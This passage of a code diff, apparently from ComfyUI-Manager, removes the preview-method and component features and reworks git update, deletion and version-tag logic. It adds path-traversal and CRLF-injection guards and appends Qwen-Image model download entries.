def __init__(self):
|
||||
pass
|
||||
|
||||
def get_current_preview_method(self):
|
||||
return "none"
|
||||
|
||||
def run_script(self, cmd, cwd='.'):
|
||||
if len(cmd) > 0 and cmd[0].startswith("#"):
|
||||
print(f"[ComfyUI-Manager] Unexpected behavior: `{cmd}`")
|
||||
@@ -1594,14 +1671,12 @@ def write_config():
|
||||
config = configparser.ConfigParser(strict=False)
|
||||
|
||||
config['default'] = {
|
||||
'preview_method': manager_funcs.get_current_preview_method(),
|
||||
'git_exe': get_config()['git_exe'],
|
||||
'use_uv': get_config()['use_uv'],
|
||||
'channel_url': get_config()['channel_url'],
|
||||
'share_option': get_config()['share_option'],
|
||||
'bypass_ssl': get_config()['bypass_ssl'],
|
||||
"file_logging": get_config()['file_logging'],
|
||||
'component_policy': get_config()['component_policy'],
|
||||
'update_policy': get_config()['update_policy'],
|
||||
'windows_selector_event_loop_policy': get_config()['windows_selector_event_loop_policy'],
|
||||
'model_download_by_agent': get_config()['model_download_by_agent'],
|
||||
@@ -1612,6 +1687,11 @@ def write_config():
|
||||
'db_mode': get_config()['db_mode'],
|
||||
}
|
||||
|
||||
# Sanitize all string values to prevent CRLF injection attacks
|
||||
for key, value in config['default'].items():
|
||||
if isinstance(value, str):
|
||||
config['default'][key] = value.replace('\r', '').replace('\n', '').replace('\x00', '')
|
||||
|
||||
directory = os.path.dirname(context.manager_config_path)
|
||||
if not os.path.exists(directory):
|
||||
os.makedirs(directory)
|
||||
@@ -1634,7 +1714,6 @@ def read_config():
|
||||
|
||||
return {
|
||||
'http_channel_enabled': get_bool('http_channel_enabled', False),
|
||||
'preview_method': default_conf.get('preview_method', manager_funcs.get_current_preview_method()).lower(),
|
||||
'git_exe': default_conf.get('git_exe', ''),
|
||||
'use_uv': get_bool('use_uv', True),
|
||||
'channel_url': default_conf.get('channel_url', DEFAULT_CHANNEL),
|
||||
@@ -1642,7 +1721,6 @@ def read_config():
|
||||
'share_option': default_conf.get('share_option', 'all').lower(),
|
||||
'bypass_ssl': get_bool('bypass_ssl', False),
|
||||
'file_logging': get_bool('file_logging', True),
|
||||
'component_policy': default_conf.get('component_policy', 'workflow').lower(),
|
||||
'update_policy': default_conf.get('update_policy', 'stable-comfyui').lower(),
|
||||
'windows_selector_event_loop_policy': get_bool('windows_selector_event_loop_policy', False),
|
||||
'model_download_by_agent': get_bool('model_download_by_agent', False),
|
||||
@@ -1659,7 +1737,6 @@ def read_config():
|
||||
|
||||
return {
|
||||
'http_channel_enabled': False,
|
||||
'preview_method': manager_funcs.get_current_preview_method(),
|
||||
'git_exe': '',
|
||||
'use_uv': True,
|
||||
'channel_url': DEFAULT_CHANNEL,
|
||||
@@ -1667,7 +1744,6 @@ def read_config():
|
||||
'share_option': 'all',
|
||||
'bypass_ssl': manager_util.bypass_ssl,
|
||||
'file_logging': True,
|
||||
'component_policy': 'workflow',
|
||||
'update_policy': 'stable-comfyui',
|
||||
'windows_selector_event_loop_policy': False,
|
||||
'model_download_by_agent': False,
|
||||
@@ -1757,11 +1833,34 @@ def reserve_script(repo_path, install_cmds):
|
||||
|
||||
|
||||
def try_rmtree(title, fullpath):
|
||||
# Tier 1: retry with delay for transient Windows file locks
|
||||
for attempt in range(3):
|
||||
try:
|
||||
shutil.rmtree(fullpath)
|
||||
return
|
||||
except OSError:
|
||||
if attempt < 2:
|
||||
time.sleep(1)
|
||||
|
||||
# Tier 2: rename into .disabled/.trash/ so scanner ignores it
|
||||
trash_dir = os.path.join(os.path.dirname(fullpath), '.disabled', '.trash')
|
||||
os.makedirs(trash_dir, exist_ok=True)
|
||||
trash = os.path.join(trash_dir, os.path.basename(fullpath) + f'_{uuid.uuid4().hex[:8]}')
|
||||
try:
|
||||
shutil.rmtree(fullpath)
|
||||
except Exception as e:
|
||||
logging.warning(f"[ComfyUI-Manager] An error occurred while deleting '{fullpath}', so it has been scheduled for deletion upon restart.\nEXCEPTION: {e}")
|
||||
reserve_script(title, ["#LAZY-DELETE-NODEPACK", fullpath])
|
||||
os.rename(fullpath, trash)
|
||||
shutil.rmtree(trash, ignore_errors=True)
|
||||
if not os.path.exists(trash):
|
||||
return
|
||||
# Rename succeeded but delete failed — schedule trash path for lazy delete
|
||||
logging.warning(f"[ComfyUI-Manager] Renamed '{fullpath}' to '{trash}' but could not delete; scheduled for restart.")
|
||||
reserve_script(title, ["#LAZY-DELETE-NODEPACK", trash])
|
||||
return
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
# Tier 3: lazy delete on restart (ComfyUI GUI fallback)
|
||||
logging.warning(f"[ComfyUI-Manager] An error occurred while deleting '{fullpath}', so it has been scheduled for deletion upon restart.")
|
||||
reserve_script(title, ["#LAZY-DELETE-NODEPACK", fullpath])
|
||||
|
||||
|
||||
def try_install_script(url, repo_path, install_cmd, instant_execution=False):
|
||||
@@ -1911,6 +2010,27 @@ def execute_install_script(url, repo_path, lazy_mode=False, instant_execution=Fa
|
||||
return True
|
||||
|
||||
|
||||
def install_manager_requirements(repo_path):
|
||||
"""
|
||||
Install packages from manager_requirements.txt if it exists.
|
||||
This is specifically for ComfyUI's manager_requirements.txt.
|
||||
"""
|
||||
manager_requirements_path = os.path.join(repo_path, "manager_requirements.txt")
|
||||
if not os.path.exists(manager_requirements_path):
|
||||
return
|
||||
|
||||
logging.info("[ComfyUI-Manager] Installing manager_requirements.txt")
|
||||
with open(manager_requirements_path, "r") as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if line and not line.startswith('#'):
|
||||
if '#' in line:
|
||||
line = line.split('#')[0].strip()
|
||||
if line:
|
||||
install_cmd = manager_util.make_pip_cmd(["install", line])
|
||||
subprocess.run(install_cmd)
|
||||
|
||||
|
||||
def git_repo_update_check_with(path, do_fetch=False, do_update=False, no_deps=False):
|
||||
"""
|
||||
|
||||
@@ -1989,7 +2109,15 @@ def git_repo_update_check_with(path, do_fetch=False, do_update=False, no_deps=Fa
|
||||
return False, True
|
||||
|
||||
try:
|
||||
remote.pull()
|
||||
try:
|
||||
repo.git.pull('--ff-only')
|
||||
except git.GitCommandError:
|
||||
backup_name = get_backup_branch_name(repo)
|
||||
repo.create_head(backup_name)
|
||||
logging.info(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
|
||||
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
|
||||
logging.info(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
|
||||
|
||||
repo.git.submodule('update', '--init', '--recursive')
|
||||
new_commit_hash = repo.head.commit.hexsha
|
||||
|
||||
@@ -2046,16 +2174,15 @@ class GitProgress(RemoteProgress):
|
||||
|
||||
|
||||
def is_valid_url(url):
|
||||
try:
|
||||
# Check for HTTP/HTTPS URL format
|
||||
result = urlparse(url)
|
||||
if all([result.scheme, result.netloc]):
|
||||
return True
|
||||
finally:
|
||||
# Check for SSH git URL format
|
||||
pattern = re.compile(r"^(.+@|ssh://).+:.+$")
|
||||
if pattern.match(url):
|
||||
return True
|
||||
# Check for HTTP/HTTPS URL format
|
||||
result = urlparse(url)
|
||||
if result.scheme and result.netloc:
|
||||
return True
|
||||
|
||||
# Check for SSH git URL format
|
||||
if SSH_URL_PATTERN.match(url):
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
|
||||
@@ -2144,9 +2271,17 @@ def git_pull(path):
|
||||
|
||||
current_branch = repo.active_branch
|
||||
remote_name = current_branch.tracking_branch().remote_name
|
||||
remote = repo.remote(name=remote_name)
|
||||
branch_name = current_branch.name
|
||||
|
||||
try:
|
||||
repo.git.pull('--ff-only')
|
||||
except git.GitCommandError:
|
||||
backup_name = get_backup_branch_name(repo)
|
||||
repo.create_head(backup_name)
|
||||
logging.info(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
|
||||
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
|
||||
logging.info(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
|
||||
|
||||
remote.pull()
|
||||
repo.git.submodule('update', '--init', '--recursive')
|
||||
|
||||
repo.close()
|
||||
@@ -2414,22 +2549,23 @@ def update_to_stable_comfyui(repo_path):
|
||||
logging.error('\t'+branch.name)
|
||||
return "fail", None
|
||||
|
||||
versions, current_tag, _ = get_comfyui_versions(repo)
|
||||
|
||||
if len(versions) == 0 or (len(versions) == 1 and versions[0] == 'nightly'):
|
||||
versions, current_tag, latest_tag = get_comfyui_versions(repo)
|
||||
|
||||
if latest_tag is None:
|
||||
logging.info("[ComfyUI-Manager] Unable to update to the stable ComfyUI version.")
|
||||
return "fail", None
|
||||
|
||||
if versions[0] == 'nightly':
|
||||
latest_tag = versions[1]
|
||||
else:
|
||||
latest_tag = versions[0]
|
||||
|
||||
if current_tag == latest_tag:
|
||||
tag_ref = next((t for t in repo.tags if t.name == latest_tag), None)
|
||||
if tag_ref is None:
|
||||
logging.info(f"[ComfyUI-Manager] Unable to locate tag '{latest_tag}' in repository.")
|
||||
return "fail", None
|
||||
|
||||
if repo.head.commit == tag_ref.commit:
|
||||
return "skip", None
|
||||
else:
|
||||
logging.info(f"[ComfyUI-Manager] Updating ComfyUI: {current_tag} -> {latest_tag}")
|
||||
repo.git.checkout(latest_tag)
|
||||
repo.git.checkout(tag_ref.name)
|
||||
execute_install_script("ComfyUI", repo_path, instant_execution=False, no_deps=False)
|
||||
return 'updated', latest_tag
|
||||
except Exception:
|
||||
traceback.print_exc()
|
||||
@@ -2561,9 +2697,13 @@ def check_state_of_git_node_pack_single(item, do_fetch=False, do_update_check=Tr
|
||||
|
||||
|
||||
def get_installed_pip_packages():
|
||||
# extract pip package infos
|
||||
cmd = manager_util.make_pip_cmd(['freeze'])
|
||||
pips = subprocess.check_output(cmd, text=True).split('\n')
|
||||
try:
|
||||
# extract pip package infos
|
||||
cmd = manager_util.make_pip_cmd(['freeze'])
|
||||
pips = subprocess.check_output(cmd, text=True).split('\n')
|
||||
except Exception as e:
|
||||
logging.warning("[ComfyUI-Manager] Could not enumerate pip packages for snapshot: %s", e)
|
||||
return {}
|
||||
|
||||
res = {}
|
||||
for x in pips:
|
||||
@@ -2655,9 +2795,7 @@ async def get_current_snapshot(custom_nodes_only = False):
|
||||
|
||||
async def save_snapshot_with_postfix(postfix, path=None, custom_nodes_only = False):
|
||||
if path is None:
|
||||
now = datetime.now()
|
||||
|
||||
date_time_format = now.strftime("%Y-%m-%d_%H-%M-%S")
|
||||
date_time_format = get_timestamp_for_path()
|
||||
file_name = f"{date_time_format}_{postfix}"
|
||||
|
||||
path = os.path.join(context.manager_snapshot_path, f"{file_name}.json")
|
||||
@@ -3248,36 +3386,85 @@ async def restore_snapshot(snapshot_path, git_helper_extras=None):
|
||||
|
||||
|
||||
def get_comfyui_versions(repo=None):
|
||||
if repo is None:
|
||||
repo = git.Repo(context.comfy_path)
|
||||
repo = repo or git.Repo(context.comfy_path)
|
||||
|
||||
remote_name = None
|
||||
try:
|
||||
remote = get_remote_name(repo)
|
||||
repo.remotes[remote].fetch()
|
||||
remote_name = get_remote_name(repo)
|
||||
repo.remotes[remote_name].fetch()
|
||||
except Exception:
|
||||
logging.error("[ComfyUI-Manager] Failed to fetch ComfyUI")
|
||||
|
||||
versions = [x.name for x in repo.tags if x.name.startswith('v')]
|
||||
def parse_semver(tag_name):
|
||||
match = re.match(r'^v(\d+)\.(\d+)\.(\d+)$', tag_name)
|
||||
return tuple(int(x) for x in match.groups()) if match else None
|
||||
|
||||
# nearest tag
|
||||
versions = sorted(versions, key=lambda v: repo.git.log('-1', '--format=%ct', v), reverse=True)
|
||||
versions = versions[:4]
|
||||
def normalize_describe(tag_name):
|
||||
if not tag_name:
|
||||
return None
|
||||
base = tag_name.split('-', 1)[0]
|
||||
return base if parse_semver(base) else None
|
||||
|
||||
current_tag = repo.git.describe('--tags')
|
||||
# Collect semver tags and sort descending (highest first)
|
||||
semver_tags = []
|
||||
for tag in repo.tags:
|
||||
semver = parse_semver(tag.name)
|
||||
if semver:
|
||||
semver_tags.append((semver, tag.name))
|
||||
semver_tags.sort(key=lambda x: x[0], reverse=True)
|
||||
semver_tags = [name for _, name in semver_tags]
|
||||
|
||||
if current_tag not in versions:
|
||||
versions = sorted(versions + [current_tag], key=lambda v: repo.git.log('-1', '--format=%ct', v), reverse=True)
|
||||
versions = versions[:4]
|
||||
latest_tag = semver_tags[0] if semver_tags else None
|
||||
|
||||
main_branch = repo.heads.master
|
||||
latest_commit = main_branch.commit
|
||||
latest_tag = repo.git.describe('--tags', latest_commit.hexsha)
|
||||
try:
|
||||
described = repo.git.describe('--tags')
|
||||
except Exception:
|
||||
described = ''
|
||||
|
||||
if latest_tag != versions[0]:
|
||||
versions.insert(0, 'nightly')
|
||||
else:
|
||||
versions[0] = 'nightly'
|
||||
try:
|
||||
exact_tag = repo.git.describe('--tags', '--exact-match')
|
||||
except Exception:
|
||||
exact_tag = ''
|
||||
|
||||
head_is_default = False
|
||||
if remote_name:
|
||||
try:
|
||||
default_head_ref = repo.refs[f'{remote_name}/HEAD']
|
||||
default_commit = default_head_ref.reference.commit
|
||||
head_is_default = repo.head.commit == default_commit
|
||||
except Exception:
|
||||
# Fallback: compare directly with master branch
|
||||
try:
|
||||
if 'master' in [h.name for h in repo.heads]:
|
||||
head_is_default = repo.head.commit == repo.heads.master.commit
|
||||
except Exception:
|
||||
head_is_default = False
|
||||
|
||||
nearest_semver = normalize_describe(described)
|
||||
exact_semver = exact_tag if parse_semver(exact_tag) else None
|
||||
|
||||
if head_is_default and not exact_tag:
|
||||
current_tag = 'nightly'
|
||||
else:
|
||||
current_tag = exact_tag or described or 'nightly'
|
||||
|
||||
# Prepare semver list for display: top 4 plus the current/nearest semver if missing
|
||||
display_semver_tags = semver_tags[:4]
|
||||
if exact_semver and exact_semver not in display_semver_tags:
|
||||
display_semver_tags.append(exact_semver)
|
||||
elif nearest_semver and nearest_semver not in display_semver_tags:
|
||||
display_semver_tags.append(nearest_semver)
|
||||
|
||||
versions = ['nightly']
|
||||
|
||||
if current_tag and not exact_semver and current_tag not in versions and current_tag not in display_semver_tags:
|
||||
versions.append(current_tag)
|
||||
|
||||
for tag in display_semver_tags:
|
||||
if tag not in versions:
|
||||
versions.append(tag)
|
||||
|
||||
versions = versions[:6]
|
||||
|
||||
return versions, current_tag, latest_tag
|
||||
|
||||
|
||||
@@ -61,7 +61,6 @@ def handle_stream(stream, prefix):
|
||||
|
||||
|
||||
from comfy.cli_args import args
|
||||
import latent_preview
|
||||
|
||||
def is_loopback(address):
|
||||
import ipaddress
|
||||
@@ -146,16 +145,6 @@ async def get_risky_level(files, pip_packages):
|
||||
|
||||
|
||||
class ManagerFuncsInComfyUI(core.ManagerFuncs):
|
||||
def get_current_preview_method(self):
|
||||
if args.preview_method == latent_preview.LatentPreviewMethod.Auto:
|
||||
return "auto"
|
||||
elif args.preview_method == latent_preview.LatentPreviewMethod.Latent2RGB:
|
||||
return "latent2rgb"
|
||||
elif args.preview_method == latent_preview.LatentPreviewMethod.TAESD:
|
||||
return "taesd"
|
||||
else:
|
||||
return "none"
|
||||
|
||||
def run_script(self, cmd, cwd='.'):
|
||||
if len(cmd) > 0 and cmd[0].startswith("#"):
|
||||
logging.error(f"[ComfyUI-Manager] Unexpected behavior: `{cmd}`")
|
||||
@@ -188,25 +177,6 @@ local_db_custom_node_list = os.path.join(manager_util.comfyui_manager_path, "cus
|
||||
local_db_extension_node_mappings = os.path.join(manager_util.comfyui_manager_path, "extension-node-map.json")
|
||||
|
||||
|
||||
def set_preview_method(method):
|
||||
if method == 'auto':
|
||||
args.preview_method = latent_preview.LatentPreviewMethod.Auto
|
||||
elif method == 'latent2rgb':
|
||||
args.preview_method = latent_preview.LatentPreviewMethod.Latent2RGB
|
||||
elif method == 'taesd':
|
||||
args.preview_method = latent_preview.LatentPreviewMethod.TAESD
|
||||
else:
|
||||
args.preview_method = latent_preview.LatentPreviewMethod.NoPreviews
|
||||
|
||||
core.get_config()['preview_method'] = method
|
||||
|
||||
|
||||
set_preview_method(core.get_config()['preview_method'])
|
||||
|
||||
|
||||
def set_component_policy(mode):
|
||||
core.get_config()['component_policy'] = mode
|
||||
|
||||
def set_update_policy(mode):
|
||||
core.get_config()['update_policy'] = mode
|
||||
|
||||
@@ -561,6 +531,8 @@ async def task_worker():
|
||||
logging.error("ComfyUI update failed")
|
||||
return "fail"
|
||||
elif res == "updated":
|
||||
core.install_manager_requirements(repo_path)
|
||||
|
||||
if is_stable:
|
||||
logging.info("ComfyUI is updated to latest stable version.")
|
||||
return "success-stable-"+latest_tag
|
||||
@@ -842,8 +814,13 @@ async def get_history_list(request):
|
||||
@routes.get("/v2/manager/queue/history")
|
||||
async def get_history(request):
|
||||
try:
|
||||
json_name = request.rel_url.query["id"]+'.json'
|
||||
batch_path = os.path.join(context.manager_batch_history_path, json_name)
|
||||
history_id = request.rel_url.query["id"]
|
||||
|
||||
# Prevent path traversal attacks
|
||||
batch_path = manager_security.get_safe_file_path(history_id, context.manager_batch_history_path)
|
||||
if batch_path is None:
|
||||
logging.warning(f"[Security] Invalid history id rejected: {history_id}")
|
||||
return web.Response(text="Invalid history id", status=400)
|
||||
|
||||
with open(batch_path, 'r', encoding='utf-8') as file:
|
||||
json_str = file.read()
|
||||
@@ -1072,12 +1049,15 @@ async def fetch_customnode_list(request):
|
||||
if channel != 'local':
|
||||
found = 'custom'
|
||||
|
||||
for name, url in core.get_channel_dict().items():
|
||||
if url == channel:
|
||||
found = name
|
||||
break
|
||||
if channel == core.DEFAULT_CHANNEL or channel == core.DEFAULT_CHANNEL_LEGACY:
|
||||
channel = 'default'
|
||||
else:
|
||||
for name, url in core.get_channel_dict().items():
|
||||
if url == channel:
|
||||
found = name
|
||||
break
|
||||
|
||||
channel = found
|
||||
channel = found
|
||||
|
||||
result = dict(channel=channel, node_packs=node_packs.to_dict())
|
||||
|
||||
@@ -1184,7 +1164,12 @@ async def remove_snapshot(request):
|
||||
try:
|
||||
target = request.rel_url.query["target"]
|
||||
|
||||
path = os.path.join(context.manager_snapshot_path, f"{target}.json")
|
||||
# Prevent path traversal attacks
|
||||
path = manager_security.get_safe_file_path(target, context.manager_snapshot_path)
|
||||
if path is None:
|
||||
logging.warning(f"[Security] Invalid snapshot target rejected: {target}")
|
||||
return web.Response(text="Invalid target", status=400)
|
||||
|
||||
if os.path.exists(path):
|
||||
os.remove(path)
|
||||
|
||||
@@ -1202,7 +1187,12 @@ async def restore_snapshot(request):
|
||||
try:
|
||||
target = request.rel_url.query["target"]
|
||||
|
||||
path = os.path.join(context.manager_snapshot_path, f"{target}.json")
|
||||
# Prevent path traversal attacks
|
||||
path = manager_security.get_safe_file_path(target, context.manager_snapshot_path)
|
||||
if path is None:
|
||||
logging.warning(f"[Security] Invalid snapshot target rejected: {target}")
|
||||
return web.Response(text="Invalid target", status=400)
|
||||
|
||||
if os.path.exists(path):
|
||||
if not os.path.exists(context.manager_startup_script_path):
|
||||
os.makedirs(context.manager_startup_script_path)
|
||||
@@ -1720,17 +1710,6 @@ async def _install_model(json_data):
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.get("/v2/manager/preview_method")
|
||||
async def preview_method(request):
|
||||
if "value" in request.rel_url.query:
|
||||
set_preview_method(request.rel_url.query['value'])
|
||||
core.write_config()
|
||||
else:
|
||||
return web.Response(text=core.manager_funcs.get_current_preview_method(), status=200)
|
||||
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.get("/v2/manager/db_mode")
|
||||
async def db_mode(request):
|
||||
if "value" in request.rel_url.query:
|
||||
@@ -1742,18 +1721,6 @@ async def db_mode(request):
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
|
||||
@routes.get("/v2/manager/policy/component")
|
||||
async def component_policy(request):
|
||||
if "value" in request.rel_url.query:
|
||||
set_component_policy(request.rel_url.query['value'])
|
||||
core.write_config()
|
||||
else:
|
||||
return web.Response(text=core.get_config()['component_policy'], status=200)
|
||||
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.get("/v2/manager/policy/update")
|
||||
async def update_policy(request):
|
||||
if "value" in request.rel_url.query:
|
||||
@@ -1892,61 +1859,6 @@ def restart(self):
|
||||
return os.execv(sys.executable, cmds)
|
||||
|
||||
|
||||
@routes.post("/v2/manager/component/save")
|
||||
async def save_component(request):
|
||||
try:
|
||||
data = await request.json()
|
||||
name = data['name']
|
||||
workflow = data['workflow']
|
||||
|
||||
if not os.path.exists(context.manager_components_path):
|
||||
os.mkdir(context.manager_components_path)
|
||||
|
||||
if 'packname' in workflow and workflow['packname'] != '':
|
||||
sanitized_name = manager_util.sanitize_filename(workflow['packname']) + '.pack'
|
||||
else:
|
||||
sanitized_name = manager_util.sanitize_filename(name) + '.json'
|
||||
|
||||
filepath = os.path.join(context.manager_components_path, sanitized_name)
|
||||
components = {}
|
||||
if os.path.exists(filepath):
|
||||
with open(filepath) as f:
|
||||
components = json.load(f)
|
||||
|
||||
components[name] = workflow
|
||||
|
||||
with open(filepath, 'w') as f:
|
||||
json.dump(components, f, indent=4, sort_keys=True)
|
||||
return web.Response(text=filepath, status=200)
|
||||
except Exception:
|
||||
return web.Response(status=400)
|
||||
|
||||
|
||||
@routes.post("/v2/manager/component/loads")
|
||||
async def load_components(request):
|
||||
if os.path.exists(context.manager_components_path):
|
||||
try:
|
||||
json_files = [f for f in os.listdir(context.manager_components_path) if f.endswith('.json')]
|
||||
pack_files = [f for f in os.listdir(context.manager_components_path) if f.endswith('.pack')]
|
||||
|
||||
components = {}
|
||||
for json_file in json_files + pack_files:
|
||||
file_path = os.path.join(context.manager_components_path, json_file)
|
||||
with open(file_path, 'r') as file:
|
||||
try:
|
||||
# When there is a conflict between the .pack and the .json, the pack takes precedence and overrides.
|
||||
components.update(json.load(file))
|
||||
except json.JSONDecodeError as e:
|
||||
logging.error(f"[ComfyUI-Manager] Error decoding component file in file {json_file}: {e}")
|
||||
|
||||
return web.json_response(components)
|
||||
except Exception as e:
|
||||
logging.error(f"[ComfyUI-Manager] failed to load components\n{e}")
|
||||
return web.Response(status=400)
|
||||
else:
|
||||
return web.json_response({})
|
||||
|
||||
|
||||
@routes.get("/v2/manager/version")
|
||||
async def get_version(request):
|
||||
return web.Response(text=core.version_str, status=200)
|
||||
|
||||
@@ -10,6 +10,16 @@ import hashlib
|
||||
|
||||
import folder_paths
|
||||
from server import PromptServer
|
||||
import logging
|
||||
import sys
|
||||
|
||||
|
||||
try:
|
||||
from nio import AsyncClient, LoginResponse, UploadResponse
|
||||
matrix_nio_is_available = True
|
||||
except Exception:
|
||||
logging.warning(f"[ComfyUI-Manager] The matrix sharing feature has been disabled because the `matrix-nio` dependency is not installed.\n\tTo use this feature, please run the following command:\n\t{sys.executable} -m pip install matrix-nio\n")
|
||||
matrix_nio_is_available = False
|
||||
|
||||
|
||||
def extract_model_file_names(json_data):
|
||||
@@ -192,6 +202,14 @@ async def get_esheep_workflow_and_images(request):
|
||||
return web.Response(status=200, text=json.dumps(data))
|
||||
|
||||
|
||||
@PromptServer.instance.routes.get("/v2/manager/get_matrix_dep_status")
|
||||
async def get_matrix_dep_status(request):
|
||||
if matrix_nio_is_available:
|
||||
return web.Response(status=200, text='available')
|
||||
else:
|
||||
return web.Response(status=200, text='unavailable')
|
||||
|
||||
|
||||
def set_matrix_auth(json_data):
|
||||
homeserver = json_data['homeserver']
|
||||
username = json_data['username']
|
||||
@@ -331,14 +349,12 @@ async def share_art(request):
|
||||
workflowId = upload_workflow_json["workflowId"]
|
||||
|
||||
# check if the user has provided Matrix credentials
|
||||
if "matrix" in share_destinations:
|
||||
if matrix_nio_is_available and "matrix" in share_destinations:
|
||||
comfyui_share_room_id = '!LGYSoacpJPhIfBqVfb:matrix.org'
|
||||
filename = os.path.basename(asset_filepath)
|
||||
content_type = assetFileType
|
||||
|
||||
try:
|
||||
from nio import AsyncClient, LoginResponse, UploadResponse
|
||||
|
||||
homeserver = 'matrix.org'
|
||||
if matrix_auth:
|
||||
homeserver = matrix_auth.get('homeserver', 'matrix.org')
|
||||
|
||||
@@ -5355,6 +5355,317 @@
|
||||
"filename": "LBM_relighting.safetensors",
|
||||
"url": "https://huggingface.co/jasperai/LBM_relighting/resolve/main/model.safetensors",
|
||||
"size": "5.02GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image VAE",
|
||||
"type": "VAE",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "vae/qwen-image",
|
||||
"description": "VAE model for Qwen-Image",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
|
||||
"filename": "qwen_image_vae.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/vae/qwen_image_vae.safetensors",
|
||||
"size": "335MB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen 2.5 VL 7B Text Encoder (fp8_scaled)",
|
||||
"type": "clip",
|
||||
"base": "Qwen-2.5-VL",
|
||||
"save_path": "text_encoders/qwen",
|
||||
"description": "Qwen 2.5 VL 7B text encoder model (fp8_scaled)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
|
||||
"filename": "qwen_2.5_vl_7b_fp8_scaled.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors",
|
||||
"size": "3.75GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen 2.5 VL 7B Text Encoder",
|
||||
"type": "clip",
|
||||
"base": "Qwen-2.5-VL",
|
||||
"save_path": "text_encoders/qwen",
|
||||
"description": "Qwen 2.5 VL 7B text encoder model",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
|
||||
"filename": "qwen_2.5_vl_7b.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/text_encoders/qwen_2.5_vl_7b.safetensors",
|
||||
"size": "7.51GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image Diffusion Model (fp8_e4m3fn)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "diffusion_models/qwen-image",
|
||||
"description": "Qwen-Image diffusion model (fp8_e4m3fn)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
|
||||
"filename": "qwen_image_fp8_e4m3fn.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_fp8_e4m3fn.safetensors",
|
||||
"size": "4.89GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image Diffusion Model (bf16)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "diffusion_models/qwen-image",
|
||||
"description": "Qwen-Image diffusion model (bf16)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
|
||||
"filename": "qwen_image_bf16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_bf16.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Edit 2509 Diffusion Model (fp8_e4m3fn)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "diffusion_models/qwen-image-edit",
|
||||
"description": "Qwen-Image-Edit 2509 diffusion model (fp8_e4m3fn)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI",
|
||||
"filename": "qwen_image_edit_2509_fp8_e4m3fn.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_2509_fp8_e4m3fn.safetensors",
|
||||
"size": "4.89GB"
|
||||
},
|
||||
|
||||
{
|
||||
"name": "Qwen-Image-Edit 2509 Diffusion Model (bf16)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "diffusion_models/qwen-image-edit",
|
||||
"description": "Qwen-Image-Edit 2509 diffusion model (bf16)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI",
|
||||
"filename": "qwen_image_edit_2509_bf16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_2509_bf16.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
|
||||
{
|
||||
"name": "Qwen-Image-Edit Diffusion Model (fp8_e4m3fn)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "diffusion_models/qwen-image-edit",
|
||||
"description": "Qwen-Image-Edit diffusion model (fp8_e4m3fn)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI",
|
||||
"filename": "qwen_image_edit_fp8_e4m3fn.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_fp8_e4m3fn.safetensors",
|
||||
"size": "4.89GB"
|
||||
},
|
||||
|
||||
{
|
||||
"name": "Qwen-Image-Edit Diffusion Model (bf16)",
|
||||
"type": "diffusion_model",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "diffusion_models/qwen-image-edit",
|
||||
"description": "Qwen-Image-Edit diffusion model (bf16)",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI",
|
